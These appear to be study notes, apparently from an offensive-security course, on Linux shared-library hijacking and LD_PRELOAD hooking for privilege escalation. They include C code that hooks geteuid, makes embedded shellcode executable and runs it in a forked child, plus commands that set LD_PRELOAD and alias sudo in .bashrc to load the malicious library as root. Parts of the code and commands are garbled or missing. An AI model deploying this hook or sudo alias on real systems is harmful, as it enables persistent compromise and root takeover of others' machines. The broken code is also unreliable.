How shared libraries being loaded by Linux app can be manipulated to provide an advantage to an attacker. This approach is similar to DLL hijacking, which is commonly used to compromise Windows.
Linux app search needed app library copy with the following sequence order:
Directories listed in the application's RPATH value.
Directories specified in the LD_LIBRARY_PATH environment variable.
Directories listed in the application's RUNPATH value.
Directories specified in /etc/ld.so.conf.
System library directories: /lib, /lib64, /usr/lib, /usr/lib64, /usr/local/lib, /usr/local/lib64, and potentially others.
We can potentially hijack or place our own versions of shared libraries in places earlier in the chain in order to control the application's behavior.
We want to hijack the library of a program that a victim is likely to run, especially as sudo.
Need to remember that whichever library we're hijacking will be unavailable to the requesting program. Find something that won't break the system if all programs are prevented from using it, something that is likely to be loaded by the application but not likely to be called (e.g. error reporting library).
ldd
Run the ldd command in the target machine on the targeted program. This will give us information on which libraries are being loaded when the targeted program is being run.
Run the targeted program and check if error message specifying which symbol it's looking for -
|grep|grep||
The result is a list of variable definitions, one for each missing symbol, that we can copy and paste just under our initial constructor definition in our hax.c source code file.
If the target library requires version information in the associated libraries, we can fix this with the help of a map file that identifies particular symbols as being associated with a given version of the library.
If an error occurred that required libgpg_error, the application would likely crash.
Via LD_PRELOAD (function hooking)
An environment variable that, when defined on the system, forces the dynamic linking loader to preload a particular shared library before any others. As a result, functions that are defined in this library are used before any with the same method signature that are defined in other libraries. Methods we define in a library loaded by LD_PRELOAD will override methods loaded later on.
The original libraries are also still being loaded, we can call the original functions and allow the program to continue working as intended.
Sudo will explicitly ignore the LD_PRELOAD environment variable for a user unless the user's real UID is the same as their effective UID (same as LD_LIBRARY_PATH).
Need to find an application that the victim is likely to frequently use, e.g. cp
#1. Find the list of library function calls the targeted cmd uses; a good candidate would be that it seems to only be called once during the application run, which limits how frequently our code will be executed. Using such a function will limit redundant shells.ltracecp
We don't need to define a constructor function as we did in the previous examples. This is because we want to fire our payload when a library function is being called, rather than when the library is loaded. Also, this will allow us to "patch" what the library is doing and still retain its original behavior.
2. evileuid.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
{
=
"\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6";
typeof(geteuid) *old_geteuid;
//This line in the code determines whether or not the result of the fork call is zero. If it is, we are running inside the newly created child process, and can run our shell as we did with our earlier AV bypass shell application. Otherwise, it will return the expected value of geteuid to the original calling program so it can continue as intended.
{
intptr_t pagesize = sysconf(_SC_PAGESIZE);
if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)),
pagesize, PROT_READ|PROT_EXEC)) {
perror("mprotect");
return -1;
} //The code within the fork branch checks that the shellcode resides on an executable memory page before executing it. The reason for this additional step is that the -f PIC compilation flag relocates our shellcode to the library .data section in order to make it position independent. Specifically, the code gets the size of a memory page so it knows how much memory to access. It then changes the page of memory that contains our shellcode and makes it executable using mprotect. It does this by setting its access properties to PROT_READ and PROT_EXEC, which makes our code readable and executable. If changing the memory permissions fails, the program will exit with a return code of “-1”.
int (*ret)() = (int(*)())buf;
ret();
}
else
{
printf("HACK: returning from function...\n");
return (*old_geteuid)();
}
printf("HACK: Returning from main...\n");
return -2;
}
#4. after setting up listener, run the targeted cmd w/o arbitrary library to set the LD_PRELOAD env var setcp/etc/passwd/tmp/testpasswd#5. onece with the LD_PRELOAD env var set, hook the function callexport LD_PRELOAD=/home/offsec/evil_geteuid.so# to unset LD_PRELOAD and prevent side effects when performing other system actionsunsetLD_PRELOAD
privesc
#a) /etc/sudoers set:#b) .bashrc alias to explicitly call the crafted function when using sudoalias sudo="sudo LD_PRELOAD=/home/offsec/evil_geteuid.so"source~/.bashrcsudocp/etc/passwd/tmp/testpasswd